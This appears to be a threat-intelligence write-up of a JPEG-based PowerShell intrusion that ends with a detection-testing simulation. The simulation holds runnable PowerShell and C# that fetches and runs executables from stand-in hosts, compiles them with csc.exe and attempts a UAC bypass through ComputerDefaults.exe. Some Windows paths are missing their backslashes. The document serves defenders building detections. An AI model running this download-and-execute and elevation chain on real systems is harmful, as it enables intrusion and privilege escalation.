OPERATION SILENTCANVAS : JPEG BASED MULTISTAGE POWERSHELL INTRUSION

Summary

Operation SilentCanvas is a sophisticated multi-stage intrusion that hides a malicious PowerShell payload inside a JPEG file named sysupdate.jpeg. That payload retrieves and compiles a custom launcher, which is built through csc.exe, abuses ComputerDefaults.exe to perform a fileless UAC bypass, and installs a trojanized ConnectWise ScreenConnect service named OneDriveServers to maintain persistent remote access. The malware communicates through encrypted channels routed to legitserver.theworkpc.com over ports 5443 and 8041. The campaign also shows strong emphasis on defense evasion, credential harvesting, and covert surveillance.

Investigation

The report covers both static and dynamic analysis of the JPEG-based loader, the dynamically compiled uds.exe binary, and the modified ScreenConnect components. Researchers identified multiple offensive techniques, including AMSI bypass, living-off-the-land binary abuse, registry hijacking, and custom key derivation for encrypted communication. Infrastructure analysis revealed a hard-coded mapping between legitserver.theworkpc.com and the IP address 45.138.16.64. The investigation also exposed detailed victim profiling, local account manipulation, and functionality tied to hidden desktop access.

Mitigation

Defenders should apply strict allow-listing for legitimate remote monitoring and management tools and restrict or closely monitor execution of csc.exe, cvtres.exe, and ComputerDefaults.exe. Monitoring should also focus on suspicious ms-settings registry changes, PowerShell AMSI bypass behavior, hidden process creation flags, and unauthorized service creation involving the name OneDriveServers. Any accounts that may have been exposed should be reset, and affected systems should be isolated quickly to prevent further abuse.

Response

If related indicators are detected, the endpoint should be quarantined immediately, the malicious uds.exe process and associated PowerShell activity should be terminated, and the OneDriveServers service should be removed from the host. Investigators should collect registry artifacts, service binaries, and network telemetry tied to the command-and-control infrastructure for deeper forensic review. All privileged credentials should be rotated, and defenders should monitor for lateral movement patterns associated with the techniques documented in the campaign.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.

• Attack Narrative & Commands:

  1. Initial foothold: Attacker gains a low‑privileged PowerShell session on the endpoint.
  2. Live compilation: Using the already‑available csc.exe, the attacker compiles a C# downloader that fetches a second‑stage payload from a C2 server. The compilation is launched from the PowerShell process to satisfy the parent‑child condition.
  3. File‑less UAC bypass: The attacker runs the newly‑built executable via ComputerDefaults.exe, which silently requests elevation without showing a UAC prompt.
  4. Post‑elevation execution: The elevated payload establishes a reverse shell back to the adversary.

  # Step 1 – Prepare malicious C# source (in-memory)
  $csSource = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Downloader {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string payloadUrl = "http://malicious.example.com/payload.exe";
              string tempPath = System.IO.Path.Combine($env:TEMP, "payload.exe");
              wc.DownloadFile(payloadUrl, tempPath);
              Process.Start(tempPath);
          }
      }
  }
  "@
  
  $srcPath = "$env:TEMPDownloader.cs"
  $exePath = "$env:TEMPDownloader.exe"
  $csSource | Out-File -FilePath $srcPath -Encoding ASCII
  
  # Step 2 – Compile via csc.exe (parent = PowerShell)
  & "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe" /nologo /t:exe /out:$exePath $srcPath
  
  # Step 3 – Trigger UAC bypass using ComputerDefaults.exe (still child of PowerShell)
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• Regression Test Script: (self‑contained PowerShell script that reproduces the above steps)

  # -----------------------------------------------------------------
  # File: trigger_csc_uac_bypass.ps1
  # Purpose: Simulate the csc.exe + ComputerDefaults.exe attack chain
  # -----------------------------------------------------------------
  
  # Create malicious C# source in the TEMP directory
  $src = @"
  using System;
  using System.Net;
  using System.Diagnostics;
  public class Payload {
      public static void Main() {
          using (WebClient wc = new WebClient()) {
              string url = "http://example.com/evil.exe";
              string path = System.IO.Path.Combine($env:TEMP, "evil.exe");
              wc.DownloadFile(url, path);
              Process.Start(path);
          }
      }
  }
  "@
  
  $srcPath = Join-Path $env:TEMP "Payload.cs"
  $exePath = Join-Path $env:TEMP "Payload.exe"
  $src | Out-File -FilePath $srcPath -Encoding ASCII
  
  # Compile with csc.exe (this PowerShell process becomes the parent)
  $csc = "$env:WINDIRMicrosoft.NETFramework64v4.0.30319csc.exe"
  & $csc /nologo /t:exe /out:$exePath $srcPath
  
  # Execute via ComputerDefaults.exe to perform a silent UAC bypass
  $computerDefaults = "$env:SystemRootSystem32ComputerDefaults.exe"
  Start-Process -FilePath $computerDefaults -ArgumentList "`"$exePath`"" -WindowStyle Hidden

• Cleanup Commands:

  # Remove generated artifacts
  Remove-Item -Path "$env:TEMPPayload.cs" -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "$env:TEMPPayload.exe" -Force -ErrorAction SilentlyContinue
  # Optionally terminate any lingering processes started by the test
  Get-Process -Name "evil" -ErrorAction SilentlyContinue | Stop-Process -Force